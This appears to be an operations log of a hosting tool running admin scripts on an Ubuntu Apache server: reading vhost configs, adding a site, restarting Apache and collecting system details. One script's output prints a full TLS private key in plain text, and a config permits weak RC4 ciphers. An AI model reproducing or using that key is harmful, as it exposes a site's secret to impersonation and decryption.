         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-07 14:26:32: 

PUT: /tmp/pkp678533

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/baptizo_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-07 14:26:32: 

chmod 755 /tmp/pkp678533; /tmp/pkp678533; rm /tmp/pkp678533

2026-05-07 14:26:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf	1355

<VirtualHost *:80>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_error.log
    SetEnv pkp_uid	55
    SetEnv pkp_owner	baptizo
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	baptizo.info
    ServerAlias	www.baptizo.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
    DocumentRoot	/var/www/baptizo_www
    <Directory /var/www/baptizo_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/baptizo/www_secure_access.log combined
    ErrorLog	/var/log/apache2/baptizo/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-07 14:26:32: 

PUT: /tmp/pkp135269

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-07 14:26:32: 

chmod 755 /tmp/pkp135269; /tmp/pkp135269; rm /tmp/pkp135269

2026-05-07 14:26:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt	5364
e0:94:93:cc:0e:1c:f6:f9:1f:a3:a4:bd:9b:00:90:c2

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBgdSx0c8jqIdnVqxIUU1m7GYMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA3MTMyODAwWhcNMjYwODA1MTMyNzU5WjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCV
1mF9Fzgim9XyXotbsl58lijK08Gk2bTgQOQshlYSg3Hd/cjsl6q+WQoPI3TAPr1e
26b85uHTZpoScYDyX34ZCt1QeS1oaxKN+YFrg9plCe+BMLHrG9JAhkUv5J9VQY3W
Kt8C8mzq5lmHWkYd2nKr2igQCn8WWMgWgJcGDM0BOxm33tBm+lOHsjThp/ivJcWt
er5iOOq7T/c0jvcsm8+rSgq0urc9duT05mlyxvPlZ+uxTIjDmM/zq486qULOIjzF
NlQ84gGujHIRMXSkpVCzcKSrc3mTuX+Hl7XPDOdDGLmYPzccO5KzXhIKiUeADNQw
RAAjNhFQH9G5Yn6FZ0NVAgMBAAGjggIsMIICKDAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU9W/ZwpeY
UKb/kalaDJRdsmoSG1wwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iu
b3JnLzApBgNVHREEIjAgggxiYXB0aXpvLmluZm+CEHd3dy5iYXB0aXpvLmluZm8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy8yNS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDX
bX0Q0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ4C1UE/AAAEAwBHMEUC
IQDgnLh2stftz5m8LS9o3Rc3EiSJINDMGf/ZlimPAKeEnwIgSmFrCsJvFpWFAcVV
Qpu6970nhhMjWD1Wd5SvIqz3WQYAfgBs/lAZQ6heqRa8UtEz5NzJHvFBHH0lhCDR
c4CeGBjrOgAAAZ4C1UJvAAgAAAUACmx6LwQDAEcwRQIgRX5ue7H87ttBghmrX59l
olVfCyfMPt5HGhS24gGvE5gCIQC7ijCBe4tWvlaEU8AkvV0tS7g27QkaCvNZ7IDt
9oGEoTANBgkqhkiG9w0BAQsFAAOCAQEAOscfZTZriq8VkMUVXbA16Ue/rLJg+Lmg
nTW6r8TyEa5FcWfABip27X81nDv9epjlIsQeeBHwFSdvZ5/U5pGTOyYiNJ/JhbJ7
bsxw3Yy9fb77CLIcThR+l5fsAXz8H5q00p7rr1uE3MRQyKm/qmRIQJl1pgeZ5Lx9
mXzSN5/STijsFFjoHo0FaGSIwqDBpwRuyAt6IGOvQom8rQ0PBxWh1Io6VvVA2sD2
/v+fL587UQ7XSF/bAJDpO+A4HeqKf8+1OTfJhE1KYm3Kr+TWfSrfKBaKNmubzOKk
lXmHVE84irA4HUjKEJ6SKvV1qQuA8I1O3rXR82JUIrni1RJHZ71aHQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCV1mF9Fzgim9Xy
Xotbsl58lijK08Gk2bTgQOQshlYSg3Hd/cjsl6q+WQoPI3TAPr1e26b85uHTZpoS
cYDyX34ZCt1QeS1oaxKN+YFrg9plCe+BMLHrG9JAhkUv5J9VQY3WKt8C8mzq5lmH
WkYd2nKr2igQCn8WWMgWgJcGDM0BOxm33tBm+lOHsjThp/ivJcWter5iOOq7T/c0
jvcsm8+rSgq0urc9duT05mlyxvPlZ+uxTIjDmM/zq486qULOIjzFNlQ84gGujHIR
MXSkpVCzcKSrc3mTuX+Hl7XPDOdDGLmYPzccO5KzXhIKiUeADNQwRAAjNhFQH9G5
Yn6FZ0NVAgMBAAECggEAJW1BOK++E9b9H+dBxAvP0irn0ZIHQpgmuAU9eWmswj8X
CC5GK+LOgXFYM+PVW9fQEYuoMG+zZMyyG31CikgUBUlTcrByCS0Fm3UBQMvUl3xd
2NVC+8kdQYTIb2gZ7H/NX/uhbOkFD7+uCUMhVH+mOQrrCua0S+6tPAGut5Im+vFY
aVmKcgpmiB9OKPgQqyEnilqjuXvN57iUOYd3wV/kEoZJjhMaLRKf3upECJJi/DjL
yd0yIuE1W/UohwVzcrRnjfodT2WVs5ifAG0/yjwNC8Ga0MbT8db3KylXVCE2PB/l
2mw5iaVz8GDCUETm+Xg1MQtvyx/J84qprlCxjuEr2QKBgQDEbmz+HrJzOAmKczEP
AhQvxiR7zPvolHm8DeoQPzhMwJeVmOH5t85KqjCukIHTsVNx1ODd0D3wZstVbhmT
1kPaE/yV/W8t0khlaPJT+AALBbjKthkA4h0soGcd3wPx4aOv1MRCZLG3vgDnEGT9
GhiVA/EhRFVHMqd2XS5wHAk+0wKBgQDDRrlqw09nqy1WUvf/XQjJTIut9DusTfTa
EPlkRXAv5uAuywRuE5RyG8Lp+Th3NK17She4lgkUs9atxTYpgg0z5XZ+Y28ep+dN
+lgVRDcQctheyOIrfg1nmzXvJTpuvqjlMjLdGuOgQTL2+qeKImi+Aw9UvmtcIBZ5
DsmfotesNwKBgBwjZWGRrCZtJJC8p45q0dF2JMvHNV6/xiB2Lc1eAQadoBlB6T0I
Y3i2oHqhILfecwGfaQbdScIiN4ZpWyieTOH0cv5Za4+4y74bJnt4zyjFDQ+cvkAu
I9e8sojI5ZvEotoRNHv+SKb1hNOUuaK4FkViZyxIyZ6FVw/RkVFl8r0ZAoGAMnUF
2AZbcCgU8OdDWWKKsKjstqgS+zSxfd9A8Z3XnSkE6FJg9KhuhQWTWa2h33tnECJW
+sUZ15WYdRIuKo+GJdC2y3WZ8svjwoxbUjNsHv3t1qAFgMNzZz/9satm69KsBXzx
E5ytEG2IY7TksZauhdp4jaceSpGn/OPLSUpkfAUCgYEAwtHFmLwmjfwuDWaBCd1r
ymW1tjx1W16USwc4xZxywPrvbYszMDqyeuojGDIrwwi4OLdZQWZ/KM+4UP6vbxmd
hfulGhxRQM20J9hBoMNjA/9c/g9xBXtDnQuhFqThj2m2sWY/ZPZxFh8FVsvhgRRF
gCPdb6/j4JWyDr8vvDLYSkQ=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-07 14:35:19: Establishing a connection
2026-05-07 14:35:42: Establishing a connection
2026-05-07 14:35:43: 

PUT: /tmp/pkp416658

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/youngrepairs_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-07 14:35:45: 

chmod 755 /tmp/pkp416658; /tmp/pkp416658; rm /tmp/pkp416658

2026-05-07 14:35:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/youngrepairs_www_com.conf 0



2026-05-07 14:35:45: 

PUT: /tmp/pkp695783

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=youngrepairs_www_com.conf
TARGET=sites-available/youngrepairs_www_com.conf
DOCROOT=/var/www/youngrepairs_www
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/youngrepairs
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/youngrepairs_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf'
	echo 'file(/etc/apache2/sites-available/youngrepairs_www_com.conf= 1'
fi


2026-05-07 14:35:45: 

chmod 755 /tmp/pkp695783; /tmp/pkp695783; rm /tmp/pkp695783

2026-05-07 14:35:45: 


link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf
file(/etc/apache2/sites-available/youngrepairs_www_com.conf= 1


2026-05-07 14:35:45: 

PUT: /tmp/pkp842613

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-07 14:35:46: 

chmod 755 /tmp/pkp842613; /tmp/pkp842613; rm /tmp/pkp842613

2026-05-07 14:35:46: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-07 14:35:46: Performing Server Status
2026-05-07 14:35:46: 

PUT: /tmp/pkp327930

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-05-07 14:35:47: 

chmod 755 /tmp/pkp327930; /tmp/pkp327930; rm /tmp/pkp327930

2026-05-07 14:35:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		207984		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-110-generic



2026-05-07 14:35:47: 

PUT: /tmp/pkp103850

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-05-07 14:35:47: 

chmod 755 /tmp/pkp103850; /tmp/pkp103850; rm /tmp/pkp103850

2026-05-07 14:35:48: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-05-05T13:22:45
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 3600147
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root     3600147  0.0  0.2 324396 39464 ?        Ss   06:49   0:01 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2026-05-07 14:35:48: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'rog',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2026-05-07 14:35:48: 

PUT: /tmp/pkp477067

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-05-07 14:35:48: 

chmod 755 /tmp/pkp477067; /tmp/pkp477067; rm /tmp/pkp477067

2026-05-07 14:35:49: 
(gzipped output)


